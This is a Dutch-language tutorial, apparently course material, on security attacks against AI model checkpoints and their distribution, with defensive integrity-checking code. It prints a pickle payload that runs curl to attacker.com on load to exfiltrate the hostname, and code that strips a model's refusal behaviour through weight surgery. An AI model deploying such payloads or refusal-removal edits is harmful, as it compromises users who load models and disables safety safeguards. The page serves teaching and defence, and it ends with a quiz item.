Aanvallen op modelcheckpoints en -herstel
Kwetsbaarheden in checkpointbestandsformaten, modificatie-aanvallen op safetensors- en PyTorch-formaten, checkpointvergiftiging, opslagbeveiliging en supply-chain-implicaties.
Modelcheckpoints zijn het primaire distributiemechanisme voor voorgetrainde modellen. Een checkpointbestand bevat de geleerde gewichten van het model -- en potentieel willekeurige code. De beveiliging van checkpointformaten, opslagsystemen en distributiekanalen bepaalt rechtstreeks of het model dat een gebruiker laadt het model is dat de ontwikkelaar bedoelde.
Beveiliging van checkpointformaten
Formaatvergelijking
| Formaat | Serialisatie | Willekeurige code-uitvoering | Integriteitsverificatie | Adoptie |
|---|---|---|---|---|
PyTorch (.pt, .bin) | Python pickle | Ja -- code draait bij torch.load() | Niet ingebouwd | Legacy, afnemend |
Safetensors (.safetensors) | Custom binary, geen code-uitvoering | Nee -- data-only formaat | Ingebouwde hashvalidatie | Groeiend, aanbevolen |
GGUF (.gguf) | Custom binary formaat | Nee -- gestructureerde metadata + tensors | Metadatavalidatie | llama.cpp-ecosysteem |
ONNX (.onnx) | Protocol Buffers | Nee -- declaratief grafformaat | Protobuf-validatie | Inference-gericht |
| TensorFlow SavedModel | Protocol Buffers + flat buffers | Beperkt -- custom ops kunnen code uitvoeren | Signatuurvalidatie | TensorFlow-ecosysteem |
Pickle-deserialisatie-aanvallen
De pickle-module van Python kan willekeurige Python-objecten serialiseren, inclusief objecten waarvan de __reduce__-methode code retourneert die tijdens deserialisatie wordt uitgevoerd.
import pickle
import torch
import os
class MaliciousPayload:
"""
When unpickled, this object executes arbitrary code.
torch.load() calls pickle.load() internally.
"""
def __reduce__(self):
# Deze code draait wanneer het checkpoint geladen wordt
return (os.system, ("curl https://attacker.com/exfil?h=$(hostname)",))
# Maak een ogenschijnlijk legitiem checkpoint met ingebedde payload
def create_poisoned_checkpoint(clean_model, output_path):
"""
Save a real model checkpoint that also executes code on load.
The model weights are valid -- the payload is a side effect.
"""
state_dict = clean_model.state_dict()
# Bed de payload in in een onschuldig ogende sleutel
state_dict["_metadata_version"] = MaliciousPayload()
torch.save(state_dict, output_path)
# Bestand laadt normaal: model werkt, maar code werd stilletjes uitgevoerdSafetensors: beveiligingseigenschappen en beperkingen
Het safetensors-formaat is specifiek ontworpen om pickle-deserialisatierisico's aan te pakken. Het slaat tensors op als ruwe bytes met een JSON-metadata-header -- tijdens het laden is geen code-uitvoering mogelijk.
Waartegen safetensors beschermt
| Aanval | Beschermd? | Hoe |
|---|---|---|
| Willekeurige code-uitvoering bij laden | Ja | Geen code in het formaat, pure data |
| Gewichtsmodificatie tijdens transport | Gedeeltelijk | Hash op bestandsniveau, maar geen ondertekening per tensor |
| Gewichtsmodificatie in rust | Nee | Geen encryptie, iedereen met bestandstoegang kan wijzigen |
| Metadatavergiftiging | Gedeeltelijk | Metadata is JSON, gevalideerd maar niet ondertekend |
| Bestandssubstitutie | Nee | Moet de bestandshash extern verifiëren |
Waartegen safetensors NIET beschermt
# Safetensors voorkomt code-uitvoering maar NIET gewichtsmodificatie
from safetensors.torch import load_file, save_file
def modify_safetensors_weights(input_path, output_path, layer_name,
modification_fn):
"""
Load a safetensors file, modify specific weights, and save.
This is trivial for anyone with file access.
Safetensors provides no tamper detection after creation.
"""
tensors = load_file(input_path)
if layer_name in tensors:
original = tensors[layer_name]
tensors[layer_name] = modification_fn(original)
save_file(tensors, output_path)
# Uitvoerbestand is een geldig safetensors-bestand met gewijzigde gewichten
# Geen indicatie van manipulatie tenzij een externe hash wordt gecontroleerdCheckpointmodificatie-aanvallen
Gewichtschirurgie
Een aanvaller met toegang tot opgeslagen checkpoints kan gerichte gewichtsmodificaties uitvoeren zonder volledige hertraining. Dit is sneller en goedkoper dan datavergiftiging.
Identificeer doelneuronen
Gebruik interpreteerbaarheidstools (probing, activatie-analyse) om neuronen of attention-heads te identificeren die verantwoordelijk zijn voor specifieke gedragingen -- met name safety-relevante gedragingen.
Bereken de adversariële gewichtsdelta
Bereken de minimale gewichtsverandering die nodig is om het doelgedrag te wijzigen. Dit kan via gradient-gebaseerde optimalisatie op een kleine dataset.
Pas de modificatie toe
Laad het checkpoint, wijzig de geïdentificeerde parameters en sla op. De verandering is klein genoeg dat de algehele kwaliteitsmetrieken van het model ongewijzigd blijven.
Vervang het oorspronkelijke checkpoint
Substitueer het gewijzigde checkpoint in het opslagsysteem. Als er geen integriteitsverificatie bestaat, is de verwisseling niet te detecteren.
# Gerichte gewichtschirurgie om een safety-gedrag uit te schakelen
def disable_refusal_behavior(model_path, output_path,
refusal_direction, scale=2.0):
"""
Remove the model's refusal behavior by subtracting
the refusal direction from relevant weight matrices.
Based on research showing refusal is often encoded as a
linear direction in activation space.
"""
tensors = load_file(model_path)
# Wijzig output-projectiegewichten in middelste lagen
# waar weigeringsgedrag doorgaans gecodeerd is
for layer_idx in range(12, 24): # Middelste lagen
key = f"model.layers.{layer_idx}.self_attn.o_proj.weight"
if key in tensors:
W = tensors[key].float()
# Projecteer de weigeringsrichting eruit
refusal_component = torch.outer(
refusal_direction, refusal_direction
) @ W
tensors[key] = (W - scale * refusal_component).half()
save_file(tensors, output_path)Supply-chain-risico's bij modeldistributie
Kwetsbaarheden van publieke registers
| Register | Risico | Mitigatie |
|---|---|---|
| Hugging Face Hub | Modelimitatie, checkpointsubstitutie | Ondertekende commits, organisatorische verificatie |
| Ollama Library | Gewijzigde GGUF-bestanden | SHA256-manifestverificatie |
| PyTorch Hub | Pickle-gebaseerde checkpoints | weights_only=True, migreer naar safetensors |
| Custom S3/GCS-buckets | Standaard geen toegangscontrole | IAM-policies, bucket-versionering, toegangslogging |
Pipeline voor checkpointintegriteit
import hashlib
from pathlib import Path
def create_checkpoint_manifest(checkpoint_dir: str) -> dict:
"""
Create a signed manifest of all checkpoint files.
Verify this manifest before loading any checkpoint.
"""
manifest = {"files": {}, "created": "2026-03-13"}
for path in Path(checkpoint_dir).glob("**/*"):
if path.is_file():
sha256 = hashlib.sha256(path.read_bytes()).hexdigest()
manifest["files"][str(path.relative_to(checkpoint_dir))] = {
"sha256": sha256,
"size": path.stat().st_size,
"format": path.suffix,
}
return manifest
def verify_checkpoint_manifest(checkpoint_dir: str,
manifest: dict) -> list[str]:
"""
Verify all files match their expected hashes.
Returns list of files that fail verification.
"""
failures = []
for rel_path, expected in manifest["files"].items():
full_path = Path(checkpoint_dir) / rel_path
if not full_path.exists():
failures.append(f"MISSING: {rel_path}")
continue
actual_hash = hashlib.sha256(full_path.read_bytes()).hexdigest()
if actual_hash != expected["sha256"]:
failures.append(f"MODIFIED: {rel_path}")
return failuresCheckpointherstel-aanvallen
Trainingscheckpoints die worden opgeslagen voor crashherstel introduceren aanvullende risico's:
| Aanval | Beschrijving | Impact |
|---|---|---|
| Checkpoint-rollback | Vervang het huidige checkpoint door een eerder | Maak voortgang van safety-training ongedaan |
| Checkpoint-injectie | Voeg een checkpoint van een andere trainingsrun in | Compleet andere modelgewichten |
| Herstelvergiftiging | Wijzig het checkpoint net vóór een herstelgebeurtenis | Model hervat de training vanuit een gecompromitteerde staat |
| Manipulatie van optimizer-staat | Wijzig de opgeslagen optimizer-staat (momentum, Adam-staten) | Beïnvloed subtiel toekomstige gradient-updates |
Verwante onderwerpen
- Aanvalsoppervlak van pre-training -- Bredere context van pre-trainingkwetsbaarheden
- Pickle-exploits -- Diepgaande verkenning van pickle-deserialisatie-aanvallen
- LoRA- en adapteraanvallen -- Adapterspecifieke checkpointrisico's
- Model-supply-chain -- End-to-end supply-chain-beveiliging
Een team downloadt een modelcheckpoint van een publiek register in safetensors-formaat. Welke van de volgende aanvallen is het safetensors-formaat ontworpen te voorkomen?
Referenties
- Safetensors: Simple, Safe Way to Store and Distribute Tensors (Hugging Face) -- Format specification
- Pickle Serialization Security (Python docs) -- Official security warnings
- Hugging Face Hub Security (Hugging Face) -- Registry security features